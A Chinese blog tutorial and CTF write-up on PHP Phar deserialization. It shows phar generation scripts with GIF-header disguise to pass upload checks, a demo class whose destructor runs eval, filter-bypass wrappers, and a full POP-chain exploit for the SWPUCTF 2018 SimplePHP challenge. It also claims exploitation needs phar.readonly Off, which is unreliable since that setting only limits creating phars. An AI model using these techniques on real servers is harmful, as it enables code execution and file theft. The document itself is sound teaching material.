【php】Phar伪协议触发反序列化漏洞

【php】Phar伪协议触发反序列化漏洞

2026年04月01日·22 分钟阅读·78 次阅读·1 点赞·0 条评论

在上篇文章中我们铺垫了php反序列化漏洞的基础,在所举的例子中,我们利用反序列化漏洞总是要将构造的序列化字符串传入unserialize()函数,但事实上,随着代码安全性越来越高,这种利用难度也越来越大。

在2018年的Black Hat上,提出了 phar 文件会以序列化的形式存储用户自定义的 meta-data "这一特性,从而拓展了 php 反序列化漏洞的攻击面,这也正是本文要讲解的内容——phar 伪协议触发 php 反序列化

什么是Phar

Phar(PHP Archive)是 PHP 的打包格式,类似 Java 的 JAR,可将多个 PHP 文件打包成一个 .phar 文件。

Phar文件结构:clipboard_1774704987725.png

Phar 的 Manifest 部分以 serialize() 格式存储用户自定义的 Metadata,而 PHP 在解析 Phar 文件时会自动反序列化这段数据。

__HALT_COMPILER()

__HALT_COMPILER() 是 PHP 的一个内置语言结构,作用是让 PHP 解析器在此处停止解析,后面的内容不再当作 PHP 代码执行。

Phar 文件的结构要求 Stub(入口代码)必须以 __HALT_COMPILER(); 结尾。这个标志告诉 PHP:

  • 前面的部分 → 当作普通 PHP 代码执行
  • 后面的部分 → 当作二进制数据(Manifest、文件内容、签名)原样保留,不解析

如果没有这个标志,PHP 会试图把后面的二进制数据也当 PHP 代码来解析,直接报错。

实际代码中的样子:

<?php
echo "这行会执行";
__HALT_COMPILER();
?>
// 这里开始是 Phar 的二进制数据区,PHP 完全忽略

正因为 __HALT_COMPILER() 之前的内容可以是任意 PHP 代码,所以攻击者可以把 Stub 写成:

GIF89a<?php __HALT_COMPILER(); ?>

开头的 GIF89a 是 GIF 图片的魔术字节,能骗过 getimagesize() 等图片检测函数,而 PHP 解析 phar:// 时只关心 __HALT_COMPILER() 在哪里,不在乎前面写了什么。

Metadata

Phar 中的 Metadata 是附加在 Phar 归档文件上的任意 PHP 数据,本质上就是一个可以存放任何 PHP 值(对象、数组、字符串等)的"附加信息槽"。

Metadata 的设计初衷是让开发者给打包文件附加描述信息,比如版本号、作者、依赖等,类似 composer.json 的概念。

Phar 在写入时serialize() 把 Metadata 转成字节串存进文件;在读取时unserialize() 还原。这个反序列化是 PHP 内核自动完成的,发生在任何文件系统函数访问 phar:// 路径的瞬间,不需要代码里显式调用 unserialize()

所以当攻击者把一个恶意对象写进 Metadata,只要能让服务器对该文件执行任意文件操作,PHP 就会自动把恶意对象还原出来,并触发它的魔术方法(__wakeup__destruct 等)。

Phar漏洞原理

当 PHP 文件系统函数操作一个以 phar:// 开头的路径时,PHP 会自动解析该 Phar 文件并无条件反序列化 Manifest 中的 Metadata,整个过程无需调用 unserialize()

clipboard_1774709713222.png

构造Phar文件

首先,要想在本地构建一个phar文件,php.ini 中的phar.readonly 必须为Off

Claude:

phar.readonly 是 PHP 的一个 php.ini 配置指令,用于控制是否允许通过 PHP 代码创建或修改 Phar 归档文件

  • phar.readonly = On(默认值):禁止通过 PHP 脚本创建或写入 .phar 文件。只能读取已有的 Phar 包,无法用代码生成新的 Phar。
  • phar.readonly = Off:允许 PHP 脚本创建、修改 Phar 归档文件,开发打包工具时必须关闭它。

出于安全考虑,默认值为On。Phar 文件是可执行的 PHP 归档包,如果允许任意脚本随意创建 Phar,攻击者可能利用文件上传漏洞构造恶意 Phar 文件,进而触发反序列化漏洞(即著名的 Phar 反序列化攻击)。

clipboard_1774836712285.png

我们手动生成一个phar文件:

<?php
    //反序列化payload构造
    class TestObject {
    }
 
    //实例一个phar对象供后续操作,后缀名必须为phar
    $phar = new Phar("JerryGao.phar"); 
    //开始缓冲对phar的写操作 
    $phar->startBuffering();
  
    /*设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾*/
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
 
    //将反序列化的对象放入该文件中
    $o = new TestObject();
    $o->data='i am JerryGao';
    //将自定义的归档元数据meta-data存入manifest
    $phar->setMetadata($o);
 
    //phar本质上是个压缩包,所以要添加压缩的文件和文件内容
    $phar->addFromString("test.txt", "JerryGao"); 
    //停止缓冲对phar的写操作
    $phar->stopBuffering();
?>

运行后,可以看到当前路径下多了一个phar文件

clipboard_1774917259860.png

使用010 editer打开,可以看到我们放入metadata中的TestObject类被序列化了,那么有序列化数据必然会有反序列化操作,php中的文件系统函数在通过phar://伪协议解析phar文件时,都会将 metadata 进行反序列化操作

clipboard_1774917862123.png

以下是能够触发 phar:// 反序列化的常见函数:

分类 函数 说明
文件检测 file_exists() 检查文件是否存在
is_file() 判断是否为文件
is_dir() 判断是否为目录
is_readable() 判断是否可读
is_writable() 判断是否可写
is_executable() 判断是否可执行
文件读写 file_get_contents() 读取文件内容
file_put_contents() 写入文件内容
file() 读取文件到数组
fopen() 打开文件句柄
文件信息 stat() 获取文件状态
filesize() 获取文件大小
filetime() 获取文件时间
目录操作 opendir() 打开目录
dir() 目录对象
scandir() 列出目录文件
glob() 匹配文件路径
图像处理 getimagesize() 获取图像尺寸
imagecreatefromjpeg() 从 JPEG 创建图像
imagecreatefrompng() 从 PNG 创建图像
imagecreatefromgif() 从 GIF 创建图像
exif_read_data() 读取 EXIF 信息
exif_thumbnail() 读取 EXIF 缩略图
哈希/校验 hash_file() 计算文件哈希
md5_file() 计算文件 MD5
sha1_file() 计算文件 SHA1
其他 copy() 复制文件
rename() 重命名文件
unlink() 删除文件
zip_open() 打开 ZIP 文件

现在我们对刚才生成的 phar 使用文件操作函数实现反序列化读取:

<?php
    class TestObject{
        function __destruct(){
            echo $this->data;
        }
    }
 
    $filename =  "phar://JerryGao.phar/test.txt";
    file_get_contents($filename);
?>

clipboard_1774918805709.png

可以看到 __destruct魔术方法自动执行了,说明php确实将我们自定义的matadata内容自动反序列化了

file_get_contents 读取文件时,PHP检测到 phar:// 协议,于是:

phar://协议被识别 ↓ 解析 JerryGao.phar 的 Manifest ↓ 自动反序列化 metadata 中的对象 ↓ 还原出 TestObject 实例(data = 'i am JerryGao') ↓ 脚本结束,对象销毁,__destruct() 自动触发 ↓ echo $this->data → 输出 "i am JerryGao"

伪装Phar文件

很多网站有文件上传功能,但会限制上传类型,比如只能传 jpg / png / gif / txt ...,我们的 php phar是肯定不能直接上传的,所以我们需要将 phar 文件伪装一下

PHP 解析 phar 文件时,不看文件后缀,只看文件内容的魔术字节,也就是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。所以把 phar 改名为任何后缀都能被 phar:// 正确解析,比如:

phar://upload/evil.jpg/test.txt   
phar://upload/evil.png/test.txt   
phar://upload/evil.gif/test.txt  

我们伪装测试一下:

<?php
    class TestObject {
    }
 
    $phar = new Phar("photo.phar");
    $phar->startBuffering();
    //设置stub,增加gif文件头
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    $o = new TestObject();
    $o->data = 'i am JerryGao';
    //将自定义meta-data存入manifest
    $phar->setMetadata($o); 
    //添加要压缩的文件
    $phar->addFromString("test.txt", "test"); 
    //签名自动计算
    $phar->stopBuffering();
?>

上面的代码会生成一个以 GIF89a 开头的 phar文件,使用010 editer打开能够看的更清楚

clipboard_1774921048313.png

这种方法可以绕过一些校验文件头的上传点

简单案例

upload.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];
    if (file_exists("upload_file/" . $_FILES["file"]["name"])){
        echo $_FILES["file"]["name"] . " already exists. ";
    }
    else
    {
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
}
else{
    echo "Invalid file,you can only upload gif";
}
?>

upload.html

<body>
<form action="http://127.0.0.1/Phar/demo/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file.php

<?php
    $filename=$_GET['filename'];
    class AnyClass{
        var $output = 'echo "ok";';
        function __destruct()
        {
            eval($this -> output);
        }
    }
    file_exists($filename);   // 漏洞点
?>

upload.php来接收一个gif文件,验证MIME类型和文件扩展名,确保是gif文件。随后在 file.php 中存在 file_exists ,并且参数 filename 完全可控,还存在 __destruct 方法,里面有个 eval 直接执行命令。

所以我们就可以先根据 file.php 写一个生成phar文件的脚本,随后将这个phar伪装上传,再在file.php文件中将phar:// 伪协议传入 filename ,读取我们上传的phar,从而自动反序列化,执行eval。

构造payload的代码phpinfo.php:

<?php
class AnyClass{
    var $output;
    function __construct(){
        $this->output = "phpinfo();";   //给output赋值
    }
}
 
$phar = new Phar('phpinfo.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$a = new AnyClass();
//将我们构造的AnyClass对象放入Metadata
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>

随后会生成一个 phpinfo.phar 文件,我们手动将后缀改为 .gif,随后通过 upload.html 上传

clipboard_1774939300007.png成功上传后,我们来到 file.php 试着读取它,直接get传入:

http://127.0.0.1/Phar/demo/file.php?filename=phar://upload_file/phpinfo.gif

成功执行了

clipboard_1774939417093.png

这个案例比较简单,意在感受整个利用原理。

利用条件

总结一下,Phar 反序列化漏洞的利用条件略微有些苛刻,需满足如下四个条件:

条件一:目标代码中存在可利用的魔术方法(POP 链)

反序列化触发后需要有"着力点",常见的有:

__wakeup()   // 反序列化时自动调用
__destruct() // 对象销毁时自动调用(最常用)
__toString() // 对象被当作字符串时调用

例如存在这样的危险类:

class Logger {
    public $filename;
    public $data;
  
    public function __destruct() {
        file_put_contents($this->filename, $this->data); // 可写任意文件
    }
}

条件二:能够将 phar 文件上传到服务器

常见上传途径:

  • 文件上传功能(即使校验了后缀,phar可以伪装成图片)
  • 允许上传的任意二进制文件
  • 其他写文件的功能

条件三:存在文件操作函数,且参数可控

PHP 很多文件操作函数支持 phar:// 协议,只要读取 phar 文件就会触发反序列化:

// 以下函数都能触发
file_get_contents("phar://upload/evil.gif")
file_exists("phar://upload/evil.gif")
is_file("phar://upload/evil.gif")
fopen("phar://upload/evil.gif", "r")
include("phar://upload/evil.gif")
......

关键是参数中的路径可控

条件四:phar.readonly = Off

php.ini 中这个配置必须是关闭状态,否则不能正常执行反序列化操作。

有时候文件操作函数可能过滤/禁用了 phar ,我们需要用一些替代方法:

compress.zlib://phar://phar.phar/test.txt
 
compress.bzip2://phar://phar.phar/test.txt 
 
php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt

实战案例

这里有一道CTF题目,地址:

https://buuoj.cn/challenges#[SWPUCTF 2018]SimplePHP

进入题目,可以看到有三个页面,分别对应 index.php,file.php,upload_file.php,其中在查看文件页面(file.php),出现了file.php?file= 可以让我们在URL地址栏输入文件名以查看文件

clipboard_1774941852689.png

所以我们查看一下这道题的关键源码

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

·<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        //str = new Show();
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        //str['str'] = Test->
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
  
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

通读代码,发现最终的落脚点其实是在 class.php 中的 Test 类,有个 file_get_contents 函数,位于file_get 方法中,并传入 $value 直接读取任意文件内容。再往上看,get 方法中调用了 file_get 方法,并且在 if 判断中将 params 数组(__construct方法给params赋了个空数组array())中 $key 对应的值赋给 $value 。get 方法又被 __get 方法调用,所以我们要想办法调用 Test 类中的 __get 方法。

当读取不可访问或不存在的属性时,会触发 __get 方法。于是我们在 Show 方法中的 __toString 方法找到了$this->str['str']-source,如果 $str 是我们的 Test 对象,那么就会访问不存在的 source 属性,触发 __get

那么现在就要想办法调用 __toString 方法,当一个对象被当做字符串调用时,便会触发。刚好在 C1e4r 类中的__destruct方法里,存在 echo $this->test ,如果 $str 的值是 Show 对象,那么就会触发。

完整利用链:

步骤 触发位置 触发条件 作用
C1e4r::__destruct 对象销毁时自动触发 echo $this->test,将 Show 对象作为字符串输出
Show::__toString Show 对象被 echo 访问$this->str['str']->source,str['str']是 Test 对象
Test::__get 访问 Test 不存在的属性source 调用$this->get('source')
Test::get 由__get 调用 params['source']=/flag,传入 file_get
Test::file_get 由 get 调用 file_get_contents('/flag') 读取文件,base64 返回

EXP构造:

<?php
class C1e4r{
    public $str;
    public $test;
 
}
class Show{
    public $str;
    public $source;
 
}
 
class Test{
    public $params;
}
 
//创建对象
$test = new Test();
$show = new Show();
$clear = new C1e4r();
 
//为对象属性赋值
$clear-> str = $show;
$show->str['str'] = $test;
$test->params['source'] = "/var/www/html/f1ag.php";
 
//创建phar文件
$phar = new Phar("flag.phar");   //创建phar文件
$phar->startBuffering();       
$phar->setStub('<?php __HALT_COMPILER(); ?>');    //设置stub标识
$phar->setMetadata($clear);      //设置要触发序列化的内容,这里写入C1e4r类,因为是整个利用链的入口
$phar->addFromString("test.txt","test");    //添加phar文件内容,生成签名
$phar->stopBuffering();

值得一提的是,为什么要这样赋值flag路径?

$test->parms['source'] = "/var/www/html/f1ag.php";

或者说,为什么key 是 source?核心在于__get 的触发机制。在__toString() 中:

public function __toString()
{
    $content = $this->str['str']->source;  // 关键在这里
    return $content;
}

$this->str['str']Test 对象,所以这句话等价于:

$content = $test->source;  // 访问 Test 对象的 source 属性

Test 类根本没有 source 属性

class Test
{
    public $file;    // 只有这两个属性
    public $params;
}

当你访问一个不存在的属性时,PHP 自动触发 __get(),并把属性名作为参数传进去:

public function __get($key)
{
    // 此时 $key = "source"  
    return $this->get($key);
}

所以 params 的 key 必须也是 source

public function get($key)  // $key = "source"
{
    if(isset($this->params[$key])) {      // 查找 params["source"]
        $value = $this->params[$key];     // 取出 params["source"] 的值
    }
    return $this->file_get($value);
}

get()$keyparams 数组里查找,而 $key 就是 "source",所以必须把路径存在 params['source'] 里,才能被正确取到。

简言之:

__toString() 里访问了 $test->source,这个 source 就变成了 __get($key)$key,然后 get() 拿这个 $keyparams 数组里查,所以 params 的 key 必须和访问的属性名一致,都是 source

所以说,属性名是一路传递下来决定的,并不是随便起的名字。


所以我们在本地生成一下phar文件,并将后缀改成 gif 并上传

clipboard_1775042217785.png

clipboard_1775041933770.png

随后在 upload 路径下可以看到我们上传的文件

clipboard_1775042347131.png

再使用 phar:// 读取即可

clipboard_1775042390517.png

base64解码得到:

<?php 
	//$a = 'flag{bd433f76-7172-4c51-81e4-73a4f0c166b0}';
 ?>

总结

phar反序列化漏洞本质在于 Phar 文件的 Manifest 以 serialize() 格式存储 Metadata,PHP 在解析 phar:// 路径时会无条件自动反序列化这段数据,整个过程不需要代码中存在任何显式的 unserialize() 调用。这意味着反序列化的攻击面从"哪里调用了 unserialize"扩展到了"哪里用文件操作函数处理了可控路径",大幅增加了漏洞的隐蔽性。

防御角度而言,应当严格校验文件上传的实际内容而非仅凭后缀或 MIME 类型判断,对文件操作函数的路径参数进行白名单过滤,禁止 phar:// 等危险协议传入,同时在生产环境保持 phar.readonly = On

下一篇文章会详细分析 ThinkPHP 框架中的反序列化漏洞

标签:#反序列化
©

版权声明:本文采用 CC BY-NC-SA 4.0 协议授权,转载请注明出处并保留原始链接。

原文链接:https://www.jerrygao.cn//blog/phppharE4BCAAE58D8FE8AEAEE8A7A6E58F91E58F8DE5BA8FE58897E58C96E6BC8FE6B49E

评论 0

💬

还没有评论,成为第一个留言的人吧!